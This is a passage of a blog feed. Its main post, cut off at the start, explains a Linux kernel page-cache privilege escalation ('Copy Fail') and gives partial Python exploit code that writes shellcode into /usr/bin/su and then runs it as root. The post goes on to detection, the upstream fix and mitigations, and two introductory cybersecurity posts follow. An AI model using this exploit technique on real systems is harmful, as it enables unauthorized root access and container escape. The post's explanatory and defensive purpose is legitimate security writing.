&lt;/span&gt;    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;splice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pipe_r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;req_sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fileno&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;       &lt;span class="c1"&gt;# pipe → AF_ALG
&lt;/span&gt;
    &lt;span class="c1"&gt;# Step 5: Trigger the decrypt — error is expected, write already happened
&lt;/span&gt;    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;req_sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;pass&lt;/span&gt;  &lt;span class="c1"&gt;# HMAC will fail, that's fine — the write already occurred
&lt;/span&gt;
    &lt;span class="n"&gt;req_sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;


&lt;span class="c1"&gt;# Open the target setuid binary
&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/su&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Decompress shellcode and write it 4 bytes at a time into the page cache
&lt;/span&gt;&lt;span class="n"&gt;shellcode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;78da...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# compressed shellcode blob
&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;write_4_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="c1"&gt;# Execute the now-corrupted binary — it runs our shellcode as root
&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;su&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The loop runs a handful of times, each call writing 4 bytes of shellcode into &lt;code&gt;/usr/bin/su&lt;/code&gt;'s page cache at increasing offsets. When &lt;code&gt;su&lt;/code&gt; is finally executed, the kernel loads it from the (now corrupted) page cache — running attacker shellcode with setuid root privileges.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The HMAC always fails.&lt;/strong&gt; The &lt;code&gt;recv()&lt;/code&gt; always returns an error. The exploit looks like a broken crypto operation. The write has already happened.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Is a Nightmare for Detection
&lt;/h2&gt;

&lt;p&gt;This is where Copy Fail separates itself from predecessors like Dirty COW and Dirty Pipe.&lt;/p&gt;

&lt;h3&gt;
  
  
  Nothing changes on disk
&lt;/h3&gt;

&lt;p&gt;The page cache is the kernel's in-memory representation of files. When it's modified, the on-disk file is not. The kernel would need to mark the page &lt;strong&gt;dirty&lt;/strong&gt; and flush it to disk for that to happen — and it never does here.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/bin/su on disk:     [original, unmodified]
/usr/bin/su in memory:   [shellcode injected here]  ← this is what execve() uses
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tools like AIDE, Tripwire, or any checksum-based file integrity monitor will report &lt;strong&gt;zero anomalies&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Syscalls look normal
&lt;/h3&gt;

&lt;p&gt;The exploit uses only standard interfaces:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;socket()&lt;/code&gt; — everyone uses sockets&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sendmsg()&lt;/code&gt; — normal socket operation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;splice()&lt;/code&gt; — common in high-performance I/O&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;recv()&lt;/code&gt; — returns an error, but errors happen
There are no unusual privilege escalation calls, no &lt;code&gt;/proc/*/mem&lt;/code&gt; writes, no &lt;code&gt;ptrace&lt;/code&gt;, no &lt;code&gt;/dev/mem&lt;/code&gt; access. Standard audit logs won't surface anything suspicious.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  No persistence needed
&lt;/h3&gt;

&lt;p&gt;The corruption exists only in memory. After a reboot, &lt;code&gt;/usr/bin/su&lt;/code&gt; is clean again. An attacker who successfully escalates can then establish persistence through legitimate root-level mechanisms. Forensics after the fact finds nothing in the binary.&lt;/p&gt;

&lt;h2&gt;
  
  
  Affected Systems
&lt;/h2&gt;

&lt;p&gt;If your kernel is between &lt;strong&gt;4.14 and 7.x&lt;/strong&gt; (including current LTS branches) and hasn't received the April/May 2026 patches, you're vulnerable. That covers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ubuntu 18.04 LTS through 24.04&lt;/li&gt;
&lt;li&gt;Red Hat Enterprise Linux 7, 8, 9&lt;/li&gt;
&lt;li&gt;Debian Buster, Bullseye, Bookworm&lt;/li&gt;
&lt;li&gt;SUSE Linux Enterprise 15&lt;/li&gt;
&lt;li&gt;Amazon Linux 2 and 2023&lt;/li&gt;
&lt;li&gt;Fedora 38, 39, 40&lt;/li&gt;
&lt;li&gt;Pretty much everything else
The one saving grace: the attacker needs &lt;strong&gt;local access&lt;/strong&gt; first. This isn't remotely exploitable on its own. However, in environments with multi-tenant systems, shared CI/CD runners, or Kubernetes clusters, "local" is a low bar.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Cross-Container Escape
&lt;/h2&gt;

&lt;p&gt;The page cache is shared across the entire host kernel. A container doesn't get its own page cache — it shares the host's. This means a malicious container with access to AF_ALG can corrupt the host's page cache of a setuid binary.&lt;/p&gt;

&lt;p&gt;If the host has &lt;code&gt;/usr/bin/su&lt;/code&gt; mapped and a container can reach AF_ALG (the default in many Kubernetes setups), the container can escape to root on the host. This elevates Copy Fail from a local LPE to a &lt;strong&gt;container escape&lt;/strong&gt; in multi-tenant environments.&lt;/p&gt;

&lt;h2&gt;
  
  
  How It Was Found: AI Did It in an Hour
&lt;/h2&gt;

&lt;p&gt;Perhaps the most unsettling part of the Copy Fail story isn't the bug itself — it's that an AI found it.&lt;/p&gt;

&lt;p&gt;Theori's &lt;strong&gt;Xint Code&lt;/strong&gt; platform scanned the Linux crypto subsystem for user-reachable logic flaws. In approximately one hour, it identified the exact chain: &lt;code&gt;authencesn&lt;/code&gt; + &lt;code&gt;splice()&lt;/code&gt; + in-place AEAD = page cache corruption. The flaw had existed, undetected, for &lt;strong&gt;nine years&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This has serious implications. The attack surface of the Linux kernel is enormous. AI-assisted analysis can now traverse it at scale, modeling data flows through kernel subsystems that would take human researchers weeks to manually trace. Copy Fail is likely not the last bug of this class to be found this way.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;The patch is elegant in its simplicity. The upstream fix (commit &lt;code&gt;a664bf3d603d&lt;/code&gt;) reverts the 2017 in-place optimization:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;--- a/crypto/algif_aead.c
&lt;/span&gt;&lt;span class="gi"&gt;+++ b/crypto/algif_aead.c
&lt;/span&gt;&lt;span class="gd"&gt;-    sg_chain(&amp;amp;out_sg, tfr_sg);   // chain tag pages into output list
-    req-&amp;gt;src = req-&amp;gt;dst;         // source = destination (in-place)
&lt;/span&gt;&lt;span class="gi"&gt;+    // Operate out-of-place — page cache pages stay in the source list only
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As the GitHub Advisory puts it: &lt;em&gt;"There is no benefit in operating in-place in &lt;code&gt;algif_aead&lt;/code&gt; since the source and destination come from different mappings."&lt;/em&gt; The optimization saved a copy but introduced a 9-year-old footgun.&lt;/p&gt;

&lt;h2&gt;
  
  
  What You Should Do Right Now
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Patch immediately
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Ubuntu / Debian&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt upgrade linux-image-&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;reboot

&lt;span class="c"&gt;# RHEL / CentOS&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dnf update kernel
&lt;span class="nb"&gt;sudo &lt;/span&gt;reboot

&lt;span class="c"&gt;# Check your kernel version after reboot&lt;/span&gt;
&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify your distro's security advisory for the specific patched kernel version.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Disable &lt;code&gt;algif_aead&lt;/code&gt; as a stopgap
&lt;/h3&gt;

&lt;p&gt;If you can't reboot immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Block the module from loading&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"install algif_aead /bin/false"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /etc/modprobe.d/disable-algif.conf

&lt;span class="c"&gt;# Unload it if currently loaded&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;rmmod algif_aead 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Impact is minimal — almost no production software uses AF_ALG AEAD directly. SSH, LUKS, and OpenSSL use the kernel crypto API directly, not through AF_ALG.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Block AF_ALG in containers
&lt;/h3&gt;

&lt;p&gt;For Kubernetes and Docker environments, add a seccomp profile that blocks &lt;code&gt;socket(AF_ALG, ...)&lt;/code&gt;. This is your most important short-term mitigation if you run multi-tenant workloads.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"syscalls"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"names"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"socket"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SCMP_ACT_ALLOW"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"index"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"value"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"op"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SCMP_CMP_NE"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(Block &lt;code&gt;socket()&lt;/code&gt; calls where the first argument is 38 / &lt;code&gt;AF_ALG&lt;/code&gt;.)&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Add runtime detection
&lt;/h3&gt;

&lt;p&gt;Falco and other eBPF-based runtime security tools have published rules to detect AF_ALG + splice combinations that match the Copy Fail pattern. Deploy them now, even on patched systems, as a defense-in-depth measure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Comparison to Dirty COW and Dirty Pipe
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Dirty COW (2016)&lt;/th&gt;
&lt;th&gt;Dirty Pipe (2022)&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Copy Fail (2026)&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;CVE-2016-5195&lt;/td&gt;
&lt;td&gt;CVE-2022-0847&lt;/td&gt;
&lt;td&gt;CVE-2026-31431&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Race condition?&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;No&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exploit size&lt;/td&gt;
&lt;td&gt;4,000+ bytes&lt;/td&gt;
&lt;td&gt;~1,000 bytes&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;732 bytes&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kernel range&lt;/td&gt;
&lt;td&gt;2.6.22–3.9+&lt;/td&gt;
&lt;td&gt;5.8–5.16&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;4.14–7.x&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Container escape?&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Limited&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Yes&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;On-disk artifacts?&lt;/td&gt;
&lt;td&gt;Yes (writes to disk)&lt;/td&gt;
&lt;td&gt;Yes (writes to disk)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;No&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Detection difficulty&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Very hard&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery method&lt;/td&gt;
&lt;td&gt;Human research&lt;/td&gt;
&lt;td&gt;Human research&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;AI-assisted (1 hour)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Copy Fail is the most operationally dangerous of the three. No race to win, no offsets to calculate, no distribution-specific assumptions. It just works.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Copy Fail is a reminder that the Linux kernel is an enormous, complex codebase where subtle interactions between subsystems can hide for nearly a decade. A 2017 optimization that made perfect sense in isolation — reuse the scatterlist, save a copy — quietly became a critical security flaw when combined with a niche AEAD algorithm and a zero-copy syscall.&lt;/p&gt;

&lt;p&gt;The fact that an AI found it in an hour is both impressive and sobering. If AI can find this, it can find others. The attack surface scanning that used to take months of expert human analysis is becoming automated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Patch your kernels. Disable algif_aead if you can't. And assume there are more of these waiting.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;CVE-2026-31431 was responsibly disclosed by Theori's Xint Code platform on April 29, 2026. Patches are available for all major Linux distributions as of May 2026. The vulnerability affects Linux kernels from 4.14 onward. Apply updates immediately.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>linux</category>
      <category>security</category>
    </item>
    <item>
      <title>The 8 CISSP Security Domains You Probably Don’t Think About — But Should</title>
      <dc:creator>Soumya Ranjan 🎖️</dc:creator>
      <pubDate>Mon, 13 Apr 2026 16:58:33 +0000</pubDate>
      <link>https://forem.com/srsoumyax11/the-8-cissp-security-domains-you-probably-dont-think-about-but-should-gnl</link>
      <guid>https://forem.com/srsoumyax11/the-8-cissp-security-domains-you-probably-dont-think-about-but-should-gnl</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnwxnh10o073xpy2z2lie.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnwxnh10o073xpy2z2lie.png" alt="8 CISSP Security Domains" width="800" height="530"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When people hear “cybersecurity,” they usually think of firewalls, hackers, or antivirus software. What they don’t realize is that security is much bigger than tools. That’s why CISSP breaks security into eight domains — each one representing a real area where things can go wrong if ignored.&lt;/p&gt;

&lt;p&gt;Below is a practical walkthrough of all eight domains, explained with real situations and what role a security professional actually plays.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Security and Risk Management
&lt;/h2&gt;

&lt;p&gt;This domain is about understanding what needs protection, why it matters, and what level of risk is acceptable. It covers policies, laws, compliance, ethics, and decision-making at an organizational level.&lt;/p&gt;

&lt;p&gt;Imagine a company planning to outsource part of its operations to a third-party vendor. The vendor asks for access to internal systems. At this point, security is not about blocking everything — it’s about assessing risk. What data will the vendor access? What happens if it’s leaked? What controls should be applied?&lt;/p&gt;

&lt;p&gt;The security professional’s role here is to identify risks, recommend controls, ensure compliance with laws and regulations, and help leadership make informed decisions. This domain sets the foundation for every other security action.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Asset Security
&lt;/h2&gt;

&lt;p&gt;Asset security focuses on what data exists, where it lives, who owns it, and how it should be protected. Not all data is equal, and treating everything the same creates both security gaps and operational problems.&lt;/p&gt;

&lt;p&gt;Consider an organization that stores customer emails, payment information, and public marketing content. If a developer copies all of it into a shared drive without restrictions, that’s a problem. Sensitive data must be classified, protected, and handled differently from public data.&lt;/p&gt;

&lt;p&gt;In this domain, security teams define data classification levels, control how data is stored and transferred, and ensure sensitive information is encrypted, restricted, and properly disposed of when no longer needed.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Security Architecture and Engineering
&lt;/h2&gt;

&lt;p&gt;This domain deals with designing systems that are secure by default, not patched later. It covers encryption, operating systems, hardware security, and secure design principles.&lt;/p&gt;

&lt;p&gt;For example, when a new application is being built, decisions like where encryption is applied, how secrets are stored, and how services communicate matter a lot. A weak design can make even the best monitoring useless.&lt;/p&gt;

&lt;p&gt;Security professionals in this area review system designs, perform threat modeling, recommend secure architectures, and ensure that security is built into systems from the start — not added after a breach.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Communication and Network Security
&lt;/h2&gt;

&lt;p&gt;This domain focuses on how data moves — across networks, between systems, and over the internet. It includes network segmentation, secure protocols, firewalls, VPNs, and intrusion detection.&lt;/p&gt;

&lt;p&gt;Imagine an attacker gains access to one machine in a company network. If the network is flat, the attacker can move freely. If it’s segmented and monitored, the damage is limited and detectable.&lt;/p&gt;

&lt;p&gt;Here, security teams design secure network architectures, monitor traffic, detect suspicious activity, and respond to network-based attacks. This domain is critical for limiting blast radius during incidents.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Identity and Access Management (IAM)
&lt;/h2&gt;

&lt;p&gt;IAM is about who gets access to what, when, and how. It covers authentication, authorization, identity lifecycle, privileged access, and multi-factor authentication.&lt;/p&gt;

&lt;p&gt;A common real-world scenario: an employee leaves the company, but their account is not disabled. Weeks later, that account is used to access internal systems. That’s an IAM failure.&lt;/p&gt;

&lt;p&gt;Security professionals manage user access, enforce least privilege, implement MFA, and ensure accounts are created, modified, and removed properly. Many breaches happen not because of advanced hacking, but because access wasn’t controlled correctly.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Security Assessment and Testing
&lt;/h2&gt;

&lt;p&gt;This domain ensures that security controls actually work. It includes vulnerability scanning, penetration testing, audits, and continuous testing.&lt;/p&gt;

&lt;p&gt;For example, a vulnerability scan might reveal an exposed admin interface. A penetration test might show how that exposure can be exploited. Without testing, organizations often assume they’re secure when they’re not.&lt;/p&gt;

&lt;p&gt;The security role here is to test systems, validate findings, prioritize fixes, and confirm that vulnerabilities are properly resolved. This domain turns assumptions into evidence.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Security Operations
&lt;/h2&gt;

&lt;p&gt;Security operations is where the real action happens day to day. It covers monitoring, logging, incident response, forensics, disaster recovery, and business continuity.&lt;/p&gt;

&lt;p&gt;Imagine an alert shows unusual outbound traffic from a server. The priority is not to write reports — it’s to contain the threat, stop data loss, investigate what happened, and recover safely.&lt;/p&gt;

&lt;p&gt;Security professionals in this domain follow incident response plans, analyze logs, coordinate response efforts, and ensure systems can recover after incidents. This domain separates theory from real-world pressure.&lt;/p&gt;

&lt;h2&gt;
  
  
  8. Software Development Security
&lt;/h2&gt;

&lt;p&gt;This domain ensures that applications are built securely, not just protected after deployment. It covers secure coding, code reviews, dependency management, and security in CI/CD pipelines.&lt;/p&gt;

&lt;p&gt;A simple coding mistake like improper input validation can lead to SQL injection or data leaks. If security is part of development, these issues are caught early. If not, they reach production.&lt;/p&gt;

&lt;p&gt;Here, security professionals work closely with developers to integrate security into the development process, run automated tests, review risky code changes, and promote secure coding practices.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The eight CISSP domains are not just exam topics — they represent how security works in the real world. Every breach, incident, or failure usually touches more than one domain.&lt;/p&gt;

&lt;p&gt;Strong security comes from understanding all eight areas and knowing how they connect. Whether you’re a SOC analyst, engineer, or security leader, these domains help you think clearly, act responsibly, and protect what truly matters: data, systems, and people.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Foundation of Cybersecurity</title>
      <dc:creator>Soumya Ranjan 🎖️</dc:creator>
      <pubDate>Thu, 22 Jan 2026 17:53:28 +0000</pubDate>
      <link>https://forem.com/srsoumyax11/foundation-of-cybersecurity-1l9</link>
      <guid>https://forem.com/srsoumyax11/foundation-of-cybersecurity-1l9</guid>
      <description>&lt;h2&gt;
  
  
  the 1st question. What is cybersecurity ?
&lt;/h2&gt;

&lt;p&gt;Lets understand it by an example. &lt;/p&gt;

&lt;p&gt;Imagine you have received a alert that a storm is coming. So you prepared by gathering tools, necessary material, food and water. You looked for the valuable items. Locked the doors and windows. the storm hits and there are powerful winds and rain. &lt;/p&gt;

&lt;p&gt;The storm uses its power to breach into your house. you noticed that there are some leaks. You stood up and started the patching. You saw some water dripping from the roof to the floor. You put a bucket to prevent the damage for the floor.&lt;/p&gt;

&lt;p&gt;Preventing and handling cyber attack is no difference. Organization must keep tools, rules, and prepare themselves to prevent and mitigate these type of attack or threats. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Definition: Cybersecurity is the practice of protecting information by ensuring its &lt;strong&gt;confidentiality, integrity, availability&lt;/strong&gt; safeguarding peoples, network, and devices, from unauthorized access and exploitation. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  What is Threat ?
&lt;/h3&gt;

&lt;p&gt;Threat is a action done by threat actors to disrupt the operation, damage of asset, and information. There are mainly 2 type of threats. Internal threat and External threat. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;internal threat arises inside the organization. This may be a person who works in the organization. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  What is a Threat Actor ?
&lt;/h3&gt;

&lt;p&gt;Threat actor is a person or group of person who intentionally harms the organization.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>discuss</category>
      <category>softwareengineering</category>
    </item>
    <item>
      <title>The 8 CISSP Security Domains You Probably Don’t Think About — But Should</title>
      <dc:creator>Soumya Ranjan 🎖️</dc:creator>
      <pubDate>Wed, 21 Jan 2026 16:39:20 +0000</pubDate>
      <link>https://forem.com/srsoumyax11/the-8-cissp-security-domains-you-probably-dont-think-about-but-should-55l9</link>
